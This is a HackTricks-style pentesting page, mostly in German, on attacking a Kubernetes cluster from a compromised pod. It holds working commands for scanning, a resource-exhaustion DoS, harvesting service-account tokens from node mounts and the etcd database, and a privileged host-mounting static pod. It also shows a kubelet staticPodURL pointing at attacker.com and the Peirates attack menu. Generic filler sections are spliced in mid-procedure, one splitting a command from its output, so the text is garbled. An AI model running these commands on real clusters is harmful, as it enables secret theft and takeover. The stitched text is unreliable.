Attacking Kubernetes from inside a Pod

Angriff auf Kubernetes von innerhalb eines Pods

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Pod-Ausbruch

Wenn Sie Glück haben, könnten Sie möglicherweise daraus entkommen und zum Knoten gelangen:

Ausbruch aus dem Pod

Um zu versuchen, aus dem Pod zu entkommen, müssen Sie möglicherweise zuerst Berechtigungen eskalieren, einige Techniken dazu:

Sie können diese Docker-Ausbrüche überprüfen, um zu versuchen zu entkommen aus einem Pod, den Sie kompromittiert haben:

Ausnutzen von Kubernetes-Berechtigungen

Wie im Abschnitt über Kubernetes-Enumeration erklärt:

pageKubernetes Enumeration

Werden die Pods normalerweise mit einem Service Account-Token darin ausgeführt. Dieser Service-Account kann einige Berechtigungen haben, die Sie möglicherweise ausnutzen können, um zu anderen Pods zu wechseln oder sogar zu den Knoten zu entkommen, die im Cluster konfiguriert sind. Überprüfen Sie, wie das funktioniert:

pageAbusing Roles/ClusterRoles in Kubernetes

Ausnutzen von Cloud-Berechtigungen

Wenn der Pod in einer Cloud-Umgebung ausgeführt wird, könnten Sie möglicherweise ein Token vom Metadaten-Endpunkt leaken und Berechtigungen damit eskalieren.

Suche nach anfälligen Netzwerkdiensten

Da Sie sich in der Kubernetes-Umgebung befinden, sollten Sie, wenn Sie die Berechtigungen der aktuellen Pods nicht missbrauchen können und nicht aus dem Container entkommen können, nach potenziell anfälligen Diensten suchen.

Dienste

Zu diesem Zweck können Sie versuchen, alle Dienste der Kubernetes-Umgebung zu erhalten:

kubectl get svc --all-namespaces

Standardmäßig verwendet Kubernetes ein flaches Netzwerkschema, was bedeutet, dass jedes Pod/Service innerhalb des Clusters miteinander kommunizieren kann. Die Namespaces innerhalb des Clusters haben standardmäßig keine Netzwerksicherheitsbeschränkungen. Jeder im Namespace kann mit anderen Namespaces kommunizieren.

Scannen

Das folgende Bash-Skript (entnommen aus einem Kubernetes-Workshop) installiert und scannt die IP-Bereiche des Kubernetes-Clusters:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Check out the following page to learn how you could attack Kubernetes specific services to compromise other pods/all the environment:

pagePentesting Kubernetes Services

Sniffing

In case the compromised pod is running some sensitive service where other pods need to authenticate you might be able to obtain the credentials send from the other pods sniffing local communications.

Network Spoofing

By default techniques like ARP spoofing (and thanks to that DNS Spoofing) work in kubernetes network. Then, inside a pod, if you have the NET_RAW capability (which is there by default), you will be able to send custom crafted network packets and perform MitM attacks via ARP Spoofing to all the pods running in the same node. Moreover, if the malicious pod is running in the same node as the DNS Server, you will be able to perform a DNS Spoofing attack to all the pods in cluster.

pageKubernetes Network Attacks

Node DoS

There is no specification of resources in the Kubernetes manifests and not applied limit ranges for the containers. As an attacker, we can consume all the resources where the pod/deployment running and starve other resources and cause a DoS for the environment.

This can be done with a tool such as stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Du kannst den Unterschied sehen, während stress-ng läuft und danach.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Knoten Post-Exploitation

Wenn es Ihnen gelungen ist, aus dem Container auszubrechen, finden Sie einige interessante Dinge im Knoten:

  • Der Container-Runtime-Prozess (Docker)

  • Weitere Pods/Container, die auf dem Knoten ausgeführt werden und die Sie missbrauchen können (mehr Tokens)

  • Das gesamte Dateisystem und das Betriebssystem im Allgemeinen

  • Der Kube-Proxy-Dienst lauscht

  • Der Kubelet-Dienst lauscht. Überprüfen Sie die Konfigurationsdateien:

    • Verzeichnis: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Andere übliche Kubernetes-Dateien:

    • $HOME/.kube/config - Benutzerkonfiguration

    • /etc/kubernetes/kubelet.conf- Reguläre Konfiguration

    • /etc/kubernetes/bootstrap-kubelet.conf - Bootstrap-Konfiguration

    • /etc/kubernetes/manifests/etcd.yaml - etcd-Konfiguration

    • /etc/kubernetes/pki - Kubernetes-Schlüssel

Knoten kubeconfig finden

Wenn Sie die kubeconfig-Datei nicht in einem der zuvor kommentierten Pfade finden können, überprüfen Sie das Argument --kubeconfig des Kubelet-Prozesses:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Geheimnisse stehlen

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Das Skript can-they.sh wird automatisch die Tokens anderer Pods abrufen und überprüfen, ob sie die gesuchte Berechtigung haben (anstatt dass Sie jeden einzelnen manuell überprüfen müssen):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Privileged DaemonSets

Ein DaemonSet ist ein Pod, der in allen Nodes des Clusters ausgeführt wird. Wenn ein DaemonSet mit einem privilegierten Servicekonto konfiguriert ist, können Sie in ALLEN Nodes den Token dieses privilegierten Servicekontos finden, den Sie missbrauchen könnten.

Der Exploit ist derselbe wie im vorherigen Abschnitt, aber jetzt sind Sie nicht mehr vom Glück abhängig.

Pivot zu Cloud

Wenn der Cluster von einem Cloud-Dienst verwaltet wird, hat der Node in der Regel einen anderen Zugriff auf das Metadaten-Endpunkt als der Pod. Versuchen Sie daher, auf den Metadaten-Endpunkt vom Node aus zuzugreifen (oder von einem Pod mit hostNetwork auf True):

pageKubernetes Pivoting to Clouds

Steal etcd

Wenn Sie den nodeName des Nodes angeben können, auf dem der Container ausgeführt wird, erhalten Sie eine Shell innerhalb eines Steuerungsebenen-Nodes und erhalten die etcd-Datenbank:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane-Knoten haben die Rolle Master und in cloud-managed Clustern können Sie darin nichts ausführen.

Secrets aus etcd lesen

Wenn Sie Ihren Pod auf einem control-plane-Knoten mit dem nodeName-Selektor in der Pod-Spezifikation ausführen können, haben Sie möglicherweise einfachen Zugriff auf die etcd-Datenbank, die alle Konfigurationen für den Cluster enthält, einschließlich aller Secrets.

Im Folgenden finden Sie eine schnelle und einfache Möglichkeit, Secrets aus etcd abzurufen, wenn es auf dem control-plane-Knoten läuft, auf dem Sie sich befinden. Wenn Sie eine elegantere Lösung wünschen, die einen Pod mit dem etcd-Client-Dienstprogramm etcdctl startet und die Anmeldeinformationen des control-plane-Knotens verwendet, um eine Verbindung zu etcd herzustellen, egal wo es ausgeführt wird, werfen Sie einen Blick auf dieses Beispielmanifest von @mauilion.

Überprüfen Sie, ob etcd auf dem control-plane-Knoten ausgeführt wird, und sehen Sie, wo sich die Datenbank befindet (Dies ist auf einem mit kubeadm erstellten Cluster)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Angriff auf Kubernetes von innerhalb eines Pods

In vielen Fällen kann ein Angreifer, der Zugriff auf ein Kubernetes-Pod hat, versuchen, weitere Angriffe innerhalb des Kubernetes-Clusters auszuführen. Hier sind einige Techniken, die ein Angreifer verwenden kann, um das Kubernetes-Cluster von innerhalb eines Pods zu kompromittieren:

1. Erkundung des Cluster-Netzwerks

Ein Angreifer kann Tools wie ifconfig, ip, netstat oder arp verwenden, um Informationen über das Cluster-Netzwerk zu sammeln. Dies kann dem Angreifer helfen, potenzielle Ziele für weitere Angriffe zu identifizieren.

2. Scannen von Diensten und Pods

Durch das Scannen von Diensten und Pods innerhalb des Clusters kann ein Angreifer Schwachstellen oder potenzielle Angriffsziele identifizieren. Tools wie nmap oder masscan können für diesen Zweck verwendet werden.

3. Ausnutzen von Schwachstellen

Sobald potenzielle Ziele identifiziert wurden, kann ein Angreifer Schwachstellen in diesen Zielen ausnutzen, um weiter in das Kubernetes-Cluster einzudringen. Dies kann durch den Einsatz von Exploits oder anderen Angriffstechniken erfolgen.

4. Erhöhung von Berechtigungen

Ein Angreifer kann versuchen, seine Berechtigungen innerhalb des Clusters zu erhöhen, um auf sensible Ressourcen oder Daten zuzugreifen. Dies kann durch das Ausnutzen von Schwachstellen, das Abfangen von Zugangsdaten oder das Umgehen von Sicherheitsmechanismen erreicht werden.

5. Laterale Bewegung

Nachdem ein Angreifer Zugriff auf das Kubernetes-Cluster erhalten hat, kann er versuchen, sich lateral innerhalb des Clusters zu bewegen, um weitere Ressourcen oder sensible Daten zu kompromittieren. Dies kann durch die Kompromittierung von weiteren Pods oder Diensten im Cluster erfolgen.

Es ist wichtig, dass Administratoren geeignete Sicherheitsmaßnahmen implementieren, um solche Angriffe von innerhalb eines Pods zu verhindern und das Kubernetes-Cluster vor potenziellen Bedrohungen zu schützen.

data-dir=/var/lib/etcd

Zeigen Sie die Daten in der etcd-Datenbank an:

strings /var/lib/etcd/member/snap/db | less

Extrahiere die Tokens aus der Datenbank und zeige den Namen des Service-Accounts an

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Derselbe Befehl, aber mit einigen Greps, um nur das Standard-Token im kube-system-Namespace zurückzugeben

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Angriff auf Kubernetes von innerhalb eines Pods

In dieser Übung werden wir verschiedene Angriffsszenarien betrachten, die auftreten können, wenn ein Angreifer Zugriff auf einen Pod innerhalb eines Kubernetes-Clusters erhält.

Szenario 1: Zugriff auf die Kubernetes-API

Schritt 1: Überprüfen der Umgebung

Überprüfen Sie, ob der Service Account des Pods Berechtigungen für den Zugriff auf die Kubernetes-API hat.

Schritt 2: Verwendung von kubectl innerhalb des Pods

Falls der Service Account des Pods über die erforderlichen Berechtigungen verfügt, kann der Angreifer kubectl innerhalb des Pods verwenden, um auf die Kubernetes-API zuzugreifen.

Szenario 2: Abgreifen von Secrets

Schritt 1: Identifizieren von Secrets

Der Angreifer kann versuchen, geheime Informationen wie API-Token oder Passwörter abzugreifen, die im Pod verfügbar sind.

Schritt 2: Verwenden von Reverse Shells

Durch die Verwendung von Reverse Shells kann der Angreifer eine Verbindung zu einem externen Server herstellen und geheime Informationen übertragen.

Szenario 3: Eskalation der Berechtigungen

Schritt 1: Identifizieren von Schwachstellen

Der Angreifer kann Schwachstellen innerhalb des Pods identifizieren, um seine Berechtigungen zu eskalieren und auf sensible Ressourcen zuzugreifen.

Schritt 2: Ausnutzen von Schwachstellen

Durch das Ausnutzen von Schwachstellen kann der Angreifer seine Berechtigungen im Cluster erweitern und potenziell Schaden anrichten.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Statische/gespiegelte Pods Persistenz

Statische Pods werden direkt vom kubelet-Daemon auf einem bestimmten Knoten verwaltet, ohne dass der API-Server sie beobachtet. Im Gegensatz zu Pods, die vom Steuerungsebene verwaltet werden (zum Beispiel ein Deployment); stattdessen überwacht das kubelet jeden statischen Pod (und startet ihn neu, wenn er fehlschlägt).

Daher sind statische Pods immer an ein Kubelet auf einem bestimmten Knoten gebunden.

Das kubelet versucht automatisch, für jeden statischen Pod einen Spiegelpod auf dem Kubernetes-API-Server zu erstellen. Dies bedeutet, dass die auf einem Knoten ausgeführten Pods auf dem API-Server sichtbar sind, aber nicht von dort aus gesteuert werden können. Die Pod-Namen werden mit dem Knoten-Hostname mit einem führenden Bindestrich versehen.

Die spec eines statischen Pods kann nicht auf andere API-Objekte verweisen (z. B. ServiceAccount, ConfigMap, Secret usw.). Sie können dieses Verhalten also nicht missbrauchen, um einen Pod mit einem beliebigen ServiceAccount im aktuellen Knoten zu starten, um den Cluster zu kompromittieren. Aber Sie könnten dies verwenden, um Pods in verschiedenen Namespaces auszuführen (falls dies aus irgendeinem Grund nützlich ist).

Wenn Sie sich im Knotenhost befinden, können Sie ihn dazu bringen, einen statischen Pod innerhalb sich selbst zu erstellen. Dies ist ziemlich nützlich, da es Ihnen möglicherweise ermöglicht, einen Pod in einem anderen Namespace wie kube-system zu erstellen.

Um einen statischen Pod zu erstellen, sind die Dokumente eine große Hilfe. Sie benötigen im Grunde genommen 2 Dinge:

  • Konfigurieren Sie den Parameter --pod-manifest-path=/etc/kubernetes/manifests im kubelet-Dienst oder in der kubelet-Konfiguration (staticPodPath) und starten Sie den Dienst neu

  • Erstellen Sie die Definition im Pod-Definition in /etc/kubernetes/manifests

Ein weiterer unauffälligerer Weg wäre:

  • Ändern Sie den Parameter staticPodURL in der kubelet-Konfigurationsdatei und setzen Sie etwas wie staticPodURL: http://attacker.com:8765/pod.yaml. Dadurch erstellt der kubelet-Prozess einen statischen Pod, der die Konfiguration von der angegebenen URL erhält.

Beispiel einer Pod-Konfiguration zur Erstellung eines privilegierten Pods in kube-system aus hier:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Löschen von Pods + nicht planbare Knoten

Wenn ein Angreifer einen Knoten kompromittiert hat und er Pods von anderen Knoten löschen und andere Knoten daran hindern kann, Pods auszuführen, werden die Pods auf dem kompromittierten Knoten erneut ausgeführt und er wird in der Lage sein, die Tokens zu stehlen, die in ihnen ausgeführt werden. Für weitere Informationen folgen Sie diesen Links.

Automatische Tools

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated